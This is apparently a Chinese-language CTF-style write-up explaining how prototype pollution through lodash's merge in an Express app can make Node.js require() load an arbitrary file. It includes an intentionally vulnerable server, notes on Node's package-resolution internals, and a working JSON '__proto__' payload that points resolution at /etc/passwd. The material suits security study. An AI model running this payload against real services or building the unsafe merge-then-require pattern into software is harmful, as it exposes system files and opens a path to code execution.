NodeJS Require 任意包

环境配置

这里lodash用于原型链污染,安装好依赖包以后删除package.json

{
  "dependencies": {
    "express": "^4.18.2",
    "lodash": "^4.17.4"
  }
}
var express = require('express');
var _= require('lodash');
const bodyParser = require('body-parser');

var app = express();

app.set('views', __dirname);

app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json());

app.post('/', function (req, res) {
    console.log(req.body);
    _.merge({}, req.body);
    require('./pollution.js')
});

app.listen(8081, function () {});

Require任意包

2023-03-12T14:58:11.png

2023-03-12T14:58:18.png

2023-03-12T14:58:26.png

2023-03-12T14:58:34.png

2023-03-12T14:58:42.png

2023-03-12T14:59:06.png

然后我们来仔细看一看这里的readPackageScope函数

2023-03-12T14:59:18.png

checkPath一开始为运行的js文件的路径

随后这个函数会逐级检查文件夹,寻找package.json,如果找不到或者文件夹结尾是node_modules则返回false

我们之前删除本地的package.json就是为了使这里返回false

从而上面的pkgpkgpath有了通过原型链污染来控制的机会

接下来继续跟进

2023-03-12T14:59:35.png

2023-03-12T14:59:42.png

2023-03-12T14:59:50.png

这里的packageConfig就是pkg,所以是可控的,所以我们可以自己构造出exports

2023-03-12T14:59:57.png

后面的resolvePackageTarget大意就是去解析一个包

于是我们可以得到一个加载任意包的payload

{
    "__proto__": {
        "data": {
            "name": "./pollution.js",
            "exports": {
".":"./passwd"
}
        },
        "path": "/etc"
    }
}

参考资料

https://hujiekang.top/2022/10/11/NodeJS-require-RCE/

http://gtg.ink/ez-node-NSSCTF-round-8/